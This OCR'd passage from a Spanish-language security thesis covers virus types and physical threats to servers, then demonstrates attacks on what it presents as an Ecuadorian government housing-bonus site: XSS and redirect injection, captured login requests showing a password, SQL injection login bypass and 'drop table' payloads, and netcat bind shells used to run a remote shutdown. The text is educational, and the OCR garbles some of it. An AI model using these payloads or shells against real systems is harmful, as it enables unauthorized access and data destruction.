objetivo basico es la introduccién e instalacion de otros programas en el

ordenador, para permitir su control a través de equipos remotos.

Bombas l6gicas: no se podrian considerar estrictamente virus, ya que no se

reproducen, pero su objetivo es destruir los datos del sistema o PC.

Virus falsos: existen ciertos tipos de mensajes o programas que son confundidos
como virus, pero no son mas que mensajes de correo engafiosos que llegan

masivamente a los destinatarios sin procedencia conocida.
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VIRUS DE OTROS SISTEMAS

Los virus de Mac se pueden clasificar en:

1. Infectores especificos de sistemas y archivos Mac.
Ejemplos:
a. AIDS.- infecta aplicaciones y archivos de sistema.

b. CDEF.- infecta archivos del escritorio.

2. Infectores HiperCard.
Ejemplos:
a. Dukakis.- despliega el mensaje Dukakis para presidente.
b. MerryXmas. - En ejecucién infecta el sector de inicio de la memoria,
que a su vez infecta otros sectores en uso. Esto ocasiona caida del

sistema y otras anomalias.

3. Mac Trojans.

Ejemplos:
a. ChinaTalk.- pareceria un controlador de sonido, pero borra carpetas.
b. CPro. - supuestamente es una actualizacién de Compact Pro, pero

intenta dar formato a los discos montados.

4. Macro virus.
Virus que manejan cadenas de texto en un documento, pueden trabajar igual
en una Macintosh como en una PC. Desde que Word 6.x para Macintosh
soporta macros, es vulnerable a ser infectado por este virus. Cualquier
aplicacion para Macintosh que soporte Visual Basic también sera vulnerable.
Ejemplo:
a. W97M/Remplace.b.- Consiste de 17 macros en un modulo llamado
akrnl. Utiliza un archivo temporal c:\Etudiant.cfg para copiar su
codigo. Desactiva la proteccion de Macro Virus, deshabilita las

opciones de Macros, Plantillas y Editor de visual Basic.
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3.4. AGENTES EXTERNOS

En el anterior punto se hizo referencia a accesos fisicos no autorizados a zonas o
a elementos que pueden comprometer la seguridad de los equipos o de toda la
red; sin embargo, no son estas las Unicas amenazas relacionadas con la
seguridad fisica. Un problema que no suele ser tan habitual, pero que en caso de
producirse puede acarrear gravisimas consecuencias, es el derivado de los

desastres naturales y su falta de prevencion.

3.4.1. DESASTRES NATURALES

TERREMOTOS

Los terremotos son el desastre natural menos probable en la mayoria de
organismos e instituciones en el Ecuador, si se compara con otros paises donde
por la localizaciobn geografica se podrian producir temblores o terremotos de

intensidad considerable con mucha mas frecuencia.

Los terremotos no suelen alcanzar la magnitud necesaria para causar dafios en
los equipos y hardware, por lo tanto, no se suelen tomar las medidas necesarias
contra los movimientos sismicos, ya que la probabilidad de que sucedan es tan

baja que no mecere la pena invertir dinero para minimizar sus efectos.

De cualquier forma aunque algunas medidas contra terremotos son
excesivamente caras para la mayor parte de instituciones, no cuesta nada tomar

ciertas medidas de prevencion, por ejemplo:

Es muy recomendable no situar los equipos delicados en superficies muy
elevadas, aungque tampoco a ras del suelo, ya que el problema aqui seria si existe
una inundacion. Si no se cumple con esta recomendaciéon un pequefio temblor
puede tirar desde una altura considerable un complejo hardware, lo que con toda
probabilidad lo inutilizara; puede incluso ser conveniente utilizar fijaciones para los

elementos mas criticos, como CPUs, monitores o los routers. De la misma forma,
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tampoco es recomendable situar objetos pesados en superficies altas cercanas a

los equipos, ya que si lo que cae son esos objetos también dafaran el hardware.

Para evitar males mayores ante un terremoto, también es muy importante no
situar equipos grandes cerca de las ventanas, ya que en algun caso podran caer
por ellas, causando pérdida total de la informacion e incluso podria aparecer un
problema mayor, un posible accidente a otra persona a la cual le puede caer

encima ese objeto o pieza de algun equipo.

TORMENTAS ELECTRICAS

Las tormentas con aparato eléctrico, generan subidas subitas de tensién
infinitamente superiores a las que pueda generar un problema en la red eléctrica.
Si cae un rayo en una estructura metélica de un edificio donde estan situados
servidores y equipos es casi seguro que se deberia pensar en comprar otros o
sustituirlos; la caida de un rayo en un lugar cercano puede inducir un campo
magnético lo suficientemente intenso como para destruir el hardware incluso

protegido contra voltajes elevados.

Este problema posee una ventaja, y es que las tormentas pueden ser predecibles
con mas o menos exactitud, lo que permite a un administrador detener el
funcionamiento de los servidores y desconectarlas de la linea eléctrica. La caida
de un rayo es algo poco probable, pero no imposible que suceda, es por esto que
son muy pocos administradores los que se molestan en detener las maquinas y

desconectarlas previniendo que sus equipos sufran los estragos de la naturaleza.

Otra medida de proteccion contra las tormentas eléctricas hace referencia a la
ubicacion de los medios magnéticos, especialmente las copias de seguridad,
almacenandolas lo mas alejado posible de la estructura metéalica de los edificios.
Un rayo en el propio edificio, o en un lugar cercano, puede inducir un campo
electromagnético lo suficientemente grande como para borrar de golpe todas las
cintas o discos, lo que afiade a los problemas por dafios en el hardware la pérdida

de toda la informacion de los sistemas.
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INUNDACIONES Y HUMEDAD

Cierto grado de humedad es necesario para un correcto funcionamiento de los
equipos informaticos, en ambientes extremadamente secos el nivel de electricidad
estatica es elevado, lo que puede provocar un dafio irreparable en el hardware y a

la informacion.

Por otro lado, niveles de humedad elevados son perjudiciales para los equipos ya
que pueden producir condensacion en los circuitos integrados, lo que origina
cortocircuitos que tienen efectos negativos sobre cualquier elemento electrénico

de una méaquina.

Poder controlar el nivel de humedad en los entornos de trabajo de servidores y
equipos que alojan informacién importante es algo necesario, para la proteccion
de los datos. Ciertos equipos son especialmente sensibles a la humedad, por lo
que es conveniente consultar los manuales de los equipos mas criticos e
indispensables. Una alternativa es utilizar alarmas que se activen al detectar
condiciones de muy poca o demasiada humedad, especialmente un sistemas de
alta disponibilidad o de altas prestaciones, donde un fallo en un componente

puede ser crucial.

Al punto extremo, si se llega a producir una inundacion, los problemas generados
son mucho mayores. Casi cualquier medio (computadores, discos, routers,
servidores) que entren en contacto con el agua quedan automaticamente

inutilizados, bien por el liquido o por el cortocircuito que se genera.

Ciertamente, contra las inundaciones las medidas méas efectivas son las de
prevencion, con la utilizacion de detectores de agua en los suelos o falsos suelos
del cuarto de servidores y a la vez con el apagado de los equipos y sistemas.
Ademas puede existir un proceso para cortar la corriente mediante un sistema

automatico.

Algo comun hacer frente a este problema, es tratar de sacar los equipos,
previamente apagados o no, de la sala que esta empezando a inundarse, a
primera vista parece logico efectuar esta accion para tratar de salvar la

informacion, pero lo cierto es que es el mayor error que se puede cometer si no se
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ha desconectado completamente el sistema eléctrico, ya que la mezcla de

corriente y agua puede causar incluso la muerte de la persona.

Otro error comun relacionado con los detectores de agua es situar a los mismos a
un nivel superior que a los propios equipos a salvaguardar, evidentemente cuando
en estos casos el agua llega al detector poco se puede hacer ya por las

maquinas y la informacion que contienen.

Una medida de proteccidon menos sofisticada podria ser la instalacion de un suelo
falso por encima del suelo real, o simplemente tener la precaucién de situar a los
equipos con una cierta elevacion con respecto al suelo, cuidando de no situarlos
en lugares muy altos por los problemas que pueden aparecer si se producen

terremotos y vibraciones.

3.4.2. DESASTRES DE ENTORNO

ELECTRICIDAD

Tal vez los problemas derivados del entorno de trabajo méas frecuentes son los
relacionados con el sistema eléctrico que alimenta los equipos; cortapicos, picos
de tensién y cortes de flujo, a diario amenazan la integridad tanto del hardware

como de los datos que se almacenan en estos equipos.

Un problema muy habitual y comin en las instalaciones modernas son las
subidas de tension, a conocidos como “picos” porque generalmente duran muy
poco y que normalmente apenas afectan al hardware o datos gracias a que la
mayoria de equipos actuales vienen disefiados para soportar este incremento de
tensién. Una medida efectiva de proteccidén seria la utilizacion de conexiones a
tierra, este mecanismo evita los problemas de sobretension desviando el exceso
de corriente hacia el suelo de un edificio o institucion, o simplemente hacia

cualquier lugar con voltaje nulo.

Un problema que los estabilizadores de tension o las tomas de tierra no pueden
solucionar es las bajas de tensién, en las que la corriente desciende por debajo

del voltaje necesario para un correcto funcionamiento del sistema, pero sin llegar



51

a ser lo suficientemente bajo para que la maquina se apague. En estas
situaciones el equipo se comportara de forma incorrecta, por ejemplo no acepta
algunas instrucciones, tampoco completa todas las escrituras en disco 0 memoria,

etc.

La forma mas efectiva de proteger los equipos y hardware contra problemas de la
corriente eléctrica es utilizar un SAl(Servicio de Alimentacién Interrumpido),
instalado en el cuarto de equipos y servidores. Estos dispositivos mantienen un
flujo correcto y estable de corriente, protegiendo de los altos y bajas de tension.
Es asi que este sistema puede ser implementado para que una maquina se
conecte al SAl y a través de un software reciba informacién y se puedan conocer

cuanto tiempo de corriente queda antes de que se apague completamente.

Como ultimo punto se debe mencionar un problema que ni siquiera la SAI protege
a los sistemas y equipos, este es, la corriente estatica, un fenomeno extrafio del

gue la mayoria de gente piensa que no afecta a los equipos, solo a las personas.

Nada mas lejos de la realidad, simplemente tocar con la mano la parte metalica
del teclado o un conductor de una placa puede destruir un equipo completamente.
Se trata de un tipo de corriente de muy poca intensidad pero con un nivel
demasiado alto de voltaje, por lo que aunque la persona no sufra ningun dafio, el
equipo sufre una descarga que puede ser suficiente para destrozar sus
componentes. Existen algunas soluciones como por ejemplo: spray antiestatico,
ionizadores antiestaticos, manillas, etc. Aunque en la mayoria de situaciones solo
hace falta de un poco de cuidado y sentido comun al momento de manipular estos

equipos.
RUIDO ELECTRICO

Este problema no es una incidencia directa de la corriente en los equipos, sino
una incidencia relacionada con la corriente de otros dispositivos que pueden
afectar al funcionamiento los computadores o servidores. El ruido eléctrico suele
ser generado por motores 0 por maquinaria pesada, pero también puede serlo por

otros computadores o equipos electronicos, y se transmite a través del espacio o
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de lineas eléctricas cercanas a las instalaciones donde se encuentran los

servidores de informacion.

Para prevenir que el ruido eléctrico dafie los equipos informaticos, se podria
intentar no situar el hardware cercano a la maquinaria que puede causar dicho
ruido, si no existe otra alternativa que hacerlo, se puede instalar filtros en las
lineas de alimentacién que llegan hasta los computadores. Es recomendable
mantener alejados de los dispositivos emisores de ondas,, como celulares,
transmisores de radio, walkie-talkies, etc; ya que pueden influir directamente en

elementos de deteccion de incendios o algunas alarmas.
INCENDIOS Y HUMO

Una causa casi siempre relacionada con la electricidad son los incendios, y con
ellos el humo. Un simple cortocircuito o un equipo que se recalienta demasiado
pueden convertirse en la causa directa de un incendio en un edificio, o al menos

en la planta, donde se encuentra toda la informacion vital para una empresa.

Una solucion efectiva contra los incendios y el humo son los extintores instalados
en el techo, que se activan automaticamente al detectar humo o calor. Los mas
antiguos, expulsaban agua para apagar el incendio, luego se fabricaron aquellos
que arrojan una solucion de halon; este compuesto no conduce la electricidad ni
deja residuos, lo que resulta ideal para no dafar los equipos pero contamina
gravemente el medio ambiente y es solucién toxica para las personas. Los
extintores de dioxido de carbono son los que reemplazan a los de halén, ya que
son menos contaminantes y menos perjudiciales, pero no precisamente sano para

las personas.

En muchos manuales de seguridad se habla de que los usuarios, administradores
y personal en general debe intentar controlar el fuego y salvar el equipamiento y
la informacidn, esto tiene, sus pros y contras. Pero se debe analizar muy bien el
ambiente con el cual se enfrentara cada persona, si es un incendio de pequeiias
dimensiones, tal vez con la ayuda de un extintor se pueda solucionar el problema,
pero si las dimensiones de las llamas son considerables lo Ultimo que se debe

hacer es tratar de controlar el fuego por si solos, en esta situaciéon no importa el
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precio de los equipos o el valor de la informacién, nunca sera tan importante como

la vida humana.
TEMPERATURAS EXTREMAS

Las temperaturas extremas, tanto calor como frio elevado, perjudican gravemente
a los equipos que se posea. La temperatura recomendable para que puedan
operar sin ningun inconveniente y en condiciones normales varia entre 10 y 32

grados Celius®.

Para poder controlar la temperatura ambiente en el entorno de operaciones es
aconsejable un acondicionador de aire, este dispositivo ayudard enormemente
para mantener la temperatura adecuada para los servidores y de esta manera

responderan de mejor manera y trabajaran mucho mejor los sistemas.

Otra condicion béasica para el correcto funcionamiento de los computadores, es
que cuenten con el sistema de ventilacibn en buen estado, sin elementos que
obstruyan los ventiladores el CPU, ya que esto puede ocasionar el

sobrecalentamiento de los discos duros, procesador, memorias, etc.

8 . , . . . . .
El grado Celsius, simbolo 2C, pertenece al sistema internacional de unidades, creada por Anders Celsius,
esta escala es muy utilizada para expresar las temperaturas de uso cotidiano.
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4. CAPITULO: HERRAMIENTAS PARA LA INTRUSION
EN UNA RED.

4.1. INSTRUSION Y DEFACING BASICO DE UNA WEB

4.1.1. QUE ES DEFACING BASICO.

El defacing o intrusion consiste en aprovechar uno o varios bugs (errores), en un
servidor web, con el fin de alterar o investigar los componentes que en éste se

encuentran.

Para realizar una primera prueba de defacing a una pagina web con altas
opciones de vulnerabilidad se utilizardn algunos comandos comunes y algunos
tips para lograr ingresar en la pagina sin previa autorizacion logrando encontrar

las principales fallas de programacion y seguridad.

4.1.2. VULNERABILIDAD DEL COMANDO DE REDIRECCION.

El siguiente comando pude ser ingresarlo en un textbox de la pagina web
vulnerable a este comando, lo que se logra al realizar esta accion es redirigir a la
pagina indicada en el tag de URL como muestra la figura.

<meta http-equiv="REFRESH" content="1; URL=pagina_a_redireccionar">
Ejemplo:
Para el ejemplo se utilizar4 una pagina vulnerable, en la cual existe un textbox
para las busquedas, en este espacio se precede a ingresar la siguiente linea y

provocara que luego de 1 segundo se dirigira a la pagina que muestra la URL.

<meta http-equiv="REFRESH" content="1;URL=../contenido.php?cd=2554">

=mmeta hitp-equiv=

Figura 4.1: TextBox vulnerable a javascript. Fuente: Pagina protegida por seguridad.
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4.1.3. VULNERABILIDAD DEL COMANDO “alert()”.

El comando alert(); es utilizado en JavaScript conjuntamente con algun lenguaje
de programacion en ambiente WEB, de la misma manera se puede ingresar el
comando en un textbox de la pagina vulnerable, para tener acceso a propiedades
que permitiran la utilizacion de Javascript.

<script>alert(“TEXTO”);</script>

Ejemplo:

Para el ejemplo utilizara la misma pégina, en la cual existe un textbox para las
bldsquedas, en este espacio se precede a ingresar la siguiente linea y provocara
una alerta con el botén Aceptar.

<script>alert(“VULNERABLE A JAVASCRIPT”);</script>

La pdgina en http:fiwww.ambiente.gob.ec d... E|

WULMERAEBLE & JAvASCRIPT

!

| Aceptar |

Figura 4.2: Mensaje de alerta donde presenta la vulnerabilidad a javascript.
Fuente: Autor de tesis.

4.2. SQL INJECTION PARA EL ACCESO NO AUTORIZADO

4.2.1. QUE ES SQL INJECTION.

SQL Injection en la actualidad es una forma muy comun y no tan avanzada del
ingreso a paginas web sin autorizacion. Este método consiste en poder modificar
el comportamiento de las consultas SQL normales, con la introduccién de
caracteres o parametros no deseados en los campos permitidos y que tiene

acceso un usuario externo.
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La mayoria de vulnerabilidades que se puede encontrar en una determinada
pagina web se identifica en aquellas donde necesitan un login de ingreso, en otras
palabras, donde exista un textbox para el ingreso de un usuario y otro para el

password.

4.2.2. CAPTURANDO PETICIONES UTILIZANDO ACHILLES.

El método post en un formulario web sirve para procesar peticiones de envio de
datos. La caracteristica principal del método es que los parametros de peticion se
encuentran en el cuerpo de la peticién, a diferencia del método GET que lo envia
codificada en la URL.

Ejemplo URL método POST:
http://savmiduvi.miduvi.gov.ec/seguimientobono/emision_matriz.php

Ejemplo URL método GET:

http://savmiduvi.miduvi.gov.ec/miduvibono/index.php?errorusuario=1

Achilles 0.27 s -0l x|
File Format About
> molC|S

Proxy Settings Intercept Modes

Listen on Port [5000 ¥ Intercept mode ON

Cert File _..| [C\unzippediachilles ¥ Inercept Client Data

Client Timeout [Sec) 1 || Intcrcep? Server Data [text)
Server Timeout [sec] |3 F :I;ungutri Fj:;f gif

Send' Find.-'ReE I

POST|.-'sessiun Iugin.cgi| HTTPH.0 ;I
Accept *f*

Referer: hitp:{{10.100.0.253:10000

Accept-Language: es

Content-Type: applicationfx-www-form-urlencoded

Proxy-Connection: Keep-Alive

User-Agent: Mozillaf4.0 [compatible; MSIE 6.0; Windows NT 5.1; 5V1]
Host: 10.100.0.253:10000

Content-Length: 34

Pragma: no-cache

Cookie: testing=1

age=22F&user=rootdpass=mipassword

Status: IRunning

Figura 4.3: Proxy Achilles capturando datos a la direccion 10.100.0.253:10000
Fuente: http://www.juanfelipe.net/files/pictures/achilles.jpg
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Ejemplo:

Luego de configurar el nimero de puerto y los modos de intercepcion en Achilles,
proxy local, se procedera a ingresar a la web que se desee obtener informacion
valiosa y a la vez que sirva para capturar o interceptar algun dato importante que

pueda ayudar en los ataques de SQL injection posteriores.

Direccion Web: http://savmiduvi.miduvi.gov.ec/seguimientobono/index.php

A Achilles 0.27
File Format About
> molc|s|

Proxy Settings Intercept Modes

Listen on Port 5000 W Intercept mode ON

Cert File = C:ATODO TESISisoftw ¥ Inercept Client Data

Client Timeout (Sec) [1 I Intercept Server Data [text)
Server Timeout ([sec) |3 I Log to File

I Ignore .jpgl.gif
Send Find{Rep
POST {seg bonojcomprueba.php HTTP{1.1

Host: 201.219.3.16
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.9.2.8) Gecko/20100722 Firefox/3.6.8
Accept: text?html, applicationfxhtml+xml,applicationfxml;q=0.9,%/*;q=0.8

Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3

Accept-Charset: 1IS0-8859-1,utf-8;q=0.7,%;q=0.7

Keep-Alive: 115

Proxy-Connection: keep-alive

Referer: http:{{201.219.3.16{seguimientobonofindex.php

Cookie: PHPSESSID=eieu8rabfp7cbqpbaejne8djls

Content-Type: application/x-www-form-urlencoded

Content-Length: 28

usuario=1716747181&pass=rick

Status: IF\unning

Figura 4.4: Proxy Achilles capturando datos a la web
http://savmiduvi.miduvi.gov.ec/seguimientobono/index.php
Fuente: Autor de tesis.

Con esta informacion capturada por Achilles se puede obtener el identificador de
sesion, con la ayuda de los datos generados en las cookies al momento de que el
usuario procesa a autenticarse en la pagina web, si se logra obtener el dato del
usuario se podra tratar de atacar con SQL Injection como se lo intentar4 en el

siguiente punto.
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4.2.3. COMO SE LOGRA EL ACCESO POR SQL INYECTION.
Para lograr una inyeccion de cédigo en una aplicacion que requiera un login se
puede utilizar las siguientes variaciones de caracteres especiales, conjuntamente

con palabras reservadas SQL, en el cual se lograra que la condicion de la

sentencia SQL sea verdadera y se otorgue acceso autorizado.

Il=ll 1!=ll 1= =0

Ejemplo:

Para el ejemplo se utilizara la siguiente pagina:

http://savmiduvi.miduvi.gob.ec/miduvibono, en la cual existe un login para el

ingreso al sistema de control de bonos de vivienda y se utilizara el usuario que se

logro capturar con la herramienta Achilles.

[%] HACKING - SISTEMA PARA LA GES... 3

Republica del Ecuador
Ministerio de Desarrollo Urbano y Vivienda

Ingreso
User: U
Password:
|
SISTEMA DE INCENTIVOS PARA LA VIVIENDA

¢ Ingrese suusuario y contrasefia

Figura 4.5: Interfaz de acceso al sistema de incentivos para la vivienda.
Fuente: http:savmiduvi.miduvi.gob.ec

En la siguiente figura se puede apreciar que para los textbox no existe un control
de errores comunes y basicos que siempre se deben tomar en cuenta al momento

de desarrollar una aplicacion web. Si un desarrollador no valida la longitud de los


http://savmiduvi.miduvi.gob.ec/miduvibono
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campos ni tampoco el tipo de caracteres permitidos, es muy posible que tarde o

temprano caiga en un atague de inyeccion SQL.

=x.php?errusuario=si&sql=SELECT * FROM tbusuario WHERE C_USUARIO_USER='1716747181" and C_USUARIO_PASS='a' and C_USUARIO_ESTRDO = 'A' v

Ingreso Ingreso
User: 1999999999999999999 User: 1716747181
Password; eesessssssssccsse Password; |e

| Ingresar | Ingresar

) ; ) : .
| ¥ Ingrese suusuario v contrasefia ¢ Ingrese su usuario v contrasefia

Figura 4.6: Ventanas de login que muestran la validacion de campos para cada acceso.
Fuente: Autor de Tesis.

Es por esto que siempre se debe tomar un tiempo prudente para la validacion de
errores de seguridad en las aplicaciones a desarrollarse.
Si un intruso detecta estas vulnerabilidades lo que intentara sera lo siguiente:

?errusuario=si&sql=SELECT * FROM tbusuario WHERE C_USUARIO_USER='1716747181" or "=" and C_USUARIO_PASS='a' and C_USUARIO_ESTADO ="A' =

Ingreso

User: 1716747181 or "=>

Password: e

Ingresar

¢ Ingrese suusuario y contrasefia

Figura 4.7: Ataque por SQL injection al detectar una vulnerabilidad.
Fuente: Autor de Tesis.

Y lo que obtendra es: UN ACCESO SATISFACTORIO.

http://192.168.1.4:8080/sistemamiduvifseguimientobono/menu.php
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MENU ADMIN

Usuarios

Crear usuanios

‘ Cambio de contrasefia

Ver usuarios

| Administracion Tablas
| Agrega Estado

Figura 4.8: Ingreso por SQL injection al menu de administrador de la aplicacion.

Fuente: Autor de Tesis.

4.2.4. SQL INYECCION EN UNA BASE SIN CONTROL DE PRIVILEGIOS

Para lograr este tipo de inyeccién de cddigo es necesario conocer un poco mas
sobre las variaciones de caracteres que se puede utilizar al combinar sentencias
SQL que alteren la base de datos.

Para acceder a la base de datos con determinados privilegios se puede enviar el

siguiente comando perjudicial:

User: < '; + setencia_sql_peligrosa + cardcter_inicio_comentario >

Password: < ’; + cardcter_inicio_comentario>

Ejemplo:

Lo que se puede realizar es generar una sentencia SQL que altere la accion inicial
para la que fue creada, es decir, con la ayuda de los caracteres “--" 0 “#”, segun
el tipo de base que utilice la aplicacién, se puede generar una nueva sentencia
gue perjudique o altere enormemente las tablas de la base de datos. Si el cambio
se produce en tablas importantes como por ejemplo la de usuarios, el dafio sera

un desastre para la aplicacion.



Ingreso

User: 5_;;dr|:|p table th_user #

Password: eee

Ingresar

% Insrese suusuario v contrasefia

Figura 4.9: Ingreso de comandos peligrosos por SQL injection.
Fuente: Autor de Tesis.

User: '; drop table tabla_usuario; # (a partir de aqui se vuelve comentario)

Password: 123

La sentencia SQL quedaria asi:

sql=SELECT * FROM th_user WHERE campo_user=""; drop table th_user; # and campo_pass="123' = -~ '-"

Select * from tb_user where campo_user = ‘ *; drop table tb_user; #and campo_pass =

1237

Antes de ejecutar el login Se despliega la tabla para Luego de ejecutar SQL

con SAL INJECTION visualizar los campos INJECTION.

= ¥
+ [ nacional

= ¥ Sehtk ¥ [E sentencias =8

+ [ nacional R T e + [ nacional

+ % sentencias T Indice principal + ; senn?nc‘ias

+ H th_user % id + [ tbadjudicado

+ | thadiudicado + H thanulado

@ campo_user -
@ campo_pass
+ [ thadjudicado
# H thanulado

Figura 4.10: Verificacion de la tabla “tb_user” al aplicar un comando SQL injection peligroso.
Fuente: Autor de Tesis.
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4.3. HERRAMIENTAS DE ACCESO LA CONSOLA O TERMINAL

4.3.1. CARACTERISTICAS DE LA HERRAMIENTA NETCAT

NetCat es muy popular si se habla de herramientas de intrusion de sistemas y
equipos remotos, ya que posee varias funciones que se aplican a través del
intérprete de comandos bajo el protocolo TCP/IP y con una sintaxis muy facil de
entender y aprender.

Entre sus principales y mas utilizadas funciones estan la de abrir y cerrar puertos,
asocia una Shell a un puerto especifico y forzar conexiones TCP y UDP para el
rastreo de equipos remotos.

Posee la gran ventaja de funcionalidad de lineas de comandos bajo MS-DOS y
desde la Shell de Linux.

Esta herramienta podria ser utilizada en conjunto con lenguajes de programacion
como Perl y C, y como ya se menciond antes se acopla muy bien a los Shell
Scripts.

Sintaxis:

nc [-options] equipo_remoto port [ports] [acciones]

Equipo
Controlador
Windows
Objetivo.
Equipo Remoto
www.savmiduvi.miduvi.gov.ec
| m hetcat
Internet

Equipo

Controlador

BackTrack

Figura 4.11: Diagrama de intrusién a un equipo remoto mediante NetCat.
Fuente: Autor de tesis.
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4.3.2. CONFIGURACION DEL EQUIPO REMOTO PARA EL ATAQUE.

EQUIPO REMOTO (Objetivo de Ataque)

Para realizar el ejemplo de intrusion utilizando NetCat, se hablara del Equipo
Remoto (Objetivo de Ataque) y los equipos Controladores (Atacantes), en este

caso se realizara la intrusion desde un equipo con sistema operativo Windows y
otro con “BackTrack™.

Ingresando a la Web:

(B http: fsavmiduyi.miduvi,gov. ec/sistemamiduyiy|

CONSULTE EL BONO
DE LA VIVIENDA

et D:\WINDOWS\system32\cmd.exe

El volumen de la unidad D es Win Xp
El ndmero de serie del volumen es: EB26-F3EQ

Directorio de D:\xampp\htdocs\sistemamiduvi

<DIR>
<DIR> s
borrarfechas.php
conexion.php
conexioni.php
consultarbono.php
direccionip.php
ejel.php
eje2.php
estilo—general-24.css
fecha.php
ing
Jjavascripts.js
22 2 numero.dat
02,89,2010 H Procedimientos almacenados
06,/09,20810 : seguimientobono
01,84,2018 : show_ads.j

2

Figura 4.12: Verificacion de los archivos alojados en “htdocs” del servidor web.
Fuente: Autor de Tesis.

Luego de ingresar a la direccion antes mencionada, se procedera a preparar al
equipo remoto, en este caso el equipo que contiene el sistema de bonos del
MIDUVI. Para entender el funcionamiento del ataque se abrira una consola en la

cual se ingresara el siguiente comando, segun el SO del servidor:

nc-1 -p 10000 -e /bin/bash (LINUX)

nc-1 -p 10000 -e cmd.exe (WINDOWS)

9 . . . . . . . . .
BackTrack: es una de las mas conocidas y apreciadas distribuciones GNU/Linux orientadas a profesionales
de la seguridad, con un enfoque especial hacia la realizacidn de tests de penetracion.
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Para entender el comando anterior se describe a continuacién los parametros
enviados:

ACCIONES Y PARAMETROS FUNCION

nc llamamos al programa NetCat
- Sirve para cambiar el modo a escucha

-p 10000 Se asiga el puerto de escucha
-e consola del SO (cmd.exe 6 bin/bash)  [Sirve parainvocar a un elemento de control

Tabla 4.1: Cuadro de parametros y funciones de la herramienta NetCat.
Fuente: Autor de Tesis.

Como se puede apreciar en la siguiente figura, el servidor cambia al estado de
escucha en el puerto 10000 y si un equipo de cualquier parte del mundo

localizaria este puerto abierto del servidor podria acceder con la ayuda de NetCat.

e DAAWINDOWSAsystem32\cmd.exe - nc -1 -p 10000 -e cmd.exe

D:~*>nc —1 —p 1808 —e cnd.exe

Figura 4.13: Ingreso del comando “nc - ” para cambiar a estado escucha utilizando NetCat.
Fuente: Autor de tesis.

4.3.3. ATAQUE DESDE UN EQUIPO CON WINDOWS MEDIANTE NETCAT

Para el primer caso en el computador 1 con sistema operativo Windows, se
procede a revisar si existe conexion con el equipo remoto y de esta manera
conocer la direccion IP del equipo.

cv C:\WINDOWS\system32\cmd.exe

Estadisticas de ping para 201.219.3.17:
Pagquetes: enviados = 4, recibidos = 4, perdidos = 0
(Bz perdidos).

Tiempos aproximados de ida y vuelta en milisegundos:
Minimo = Bms, Maximo = Bms, Media = Bms

C:\>ping savmiduwvi.miduvi.gov.ec

Haciendo ping a savmidwi.midwi.gov.ec [201.219.3.171 con 32 hytes de dato

Figura 4.14: Comando PING para comprobar que el equipo remoto este en linea.
Fuente: Autor de tesis.
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Equipo Atacante 1: Windows

Para poder realizar la intrusion al equipo remoto, se procede a inicializar la
herramienta NetCat enviando los 2 parametros necesarios, que son la direccion IP

del equipo y el puerto que esta en modo escucha.

cv C:\WINDOWS\system32\cmd.exe - nc 192.168.1.3 10000
C:\>nc 201.2192.3.17 160860

:\>nc 201.219.3.17 160066
Microsoft Windows XP [Uersidn 5.1.26001
(GC> Copyright 1985-2001 Microsoft Corp.

D:\>cd windous
cd windows

D:\WINDOUS >start iexplore.exe sauvmiduvi.miduvi.

Figura 4.15: Inicializaciéon de NetCat desde el equipo Controladorl en Windows.
Fuente: Autor de tesis.

En la figura anterior, se puede visualizar que el equipo controlador 1 establecio la
conexion con el equipo remoto y obtuvo la consola de comandos en la cual puede

realizar todas las opciones permitidas en la Shell de Windows.

Para este ejemplo el comando que se utilizd, abrird una pagina en Internet
Explorer y redireccionara a la pagina savmiduvi.miduvi.gov.ec, como se puede

visualizar en la siguiente figura.

& REE

D:>*nc -1 —p 18888 —-e cmd.exe

£ inicio - Windows Internet Explorer,
& | htkpeffsavmiduyi miduyi, gov.ec/seguimientobom ¥ | Fe A P
Archivo  Edicion  Wer  Faworitos  Herramientas  Avyuda

) ARES - v |0 s - 4G DIOED NS - >
W AR féinicio

»»
v Rl = v = Pagina = 0 Herramientas -

fa
MIDUVI
Figura 4.16: Equipo Servidor, esta siendo controlado por un atacante desde la consola de Windows.

Fuente: Autor de tesis.
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4.3.4. ATAQUE DESDE UN EQUIPO CON BASE LINUX (BACKTRACK)
MEDIANTE NETCAT

Al utilizar la herramienta BackTrack se procede a abrir la consola y se tipea
exactamente el mismo comando, con la direccion IP del equipo remoto y el puerto
escucha.

Como se aprecia en la siguiente figura, al ejecutar el comando se presenta la
etiqueta de Microsoft Windows XP, es decir, se logré establecer la conexion.

root@bt: /etc - Shell - Konsole
Session Edit View Bookmarks Settings Help

# clear
# nc 201.219.3.16 10000

root@bt: # nc 201.219.3.16 10000
Microsoft Windows XP [Versid¢n 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp.

D:\>dir
dir
El volumen de la unidad D es Win Xp
@ Shell

Figura 4.17: Conexion desde BackTrack al servidor que tiene abierto el puerto 10000.
Fuente: Autor de tesis.

Si se posee el control del intérprete de comandos del equipo remoto se puede
realizar muchas cosas, hasta se puede decir, que el atacante esta frente al

servidor con todos los permisos asignados y sin ningun tipo de restriccion.

Para este ejemplo el atacante podria ejecutar un comando para dejar inactivo al
equipo remoto, con un simple comando shutdown, lograria conseguir que el

sistema pase a un estado offline.

Se
21/09/2010 20:55 <DIR> WINDOWS
14/06/2009 09:00 <DIR> xampp

0 archivos 0 bytes
21 dirs 6 304 747 520 bytes libres

D:\>shutdown -s -t 5 -c "ATAQUE EFECTIVO"J

Figura 4.18: Comando shutdown desde atacante 2 en BackTrack que perjudicara al servidor.
Fuente: Autor de tesis.
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En la siguiente figura se puede apreciar que el comando fue efectivo en el equipo
remoto, y que estara en linea unos cuantos segundos mas, luego de este tiempo
se apagara.

Apagar el sistema |£|

Se estd apagando el siztema. Guarde todo
trabajo en curso y ciere la sesion. Se perdera
cualquier cambio que no haya sido guardadao.
El apagado ha sida iniciada par
PORTATILRICK "\ Adminiztrador

Tiempo restante

para el apagado : 00:00:42

kMenzaje
ATAGOUE EFECTIVO

Figura 4.19: Mensaje de apagado de equipo. Generado desde un atacante que establecio la conexion.
Fuente: Autor de tesis.

Estos tipos de ataques pueden convertirse en una catastrofe, si la informacién
gque se maneja es de vital importancia para la institucibn o empresa. Los
administradores de red y seguridades deben estar muy pendientes de nuevas

herramientas de este tipo para tener un plan para evitar estos ataques.

4.4. HERRAMIENTAS PARA ESCANEO DE PUERTOS Y
VULNERABILIDADES

44.1. TESTINGY ESCANEO DE UN SERVIDOR WEB CON LA
HERRAMIENTA NIKTO

La herramienta Nikto es un escaner de servidores web, en el cual puede realizar
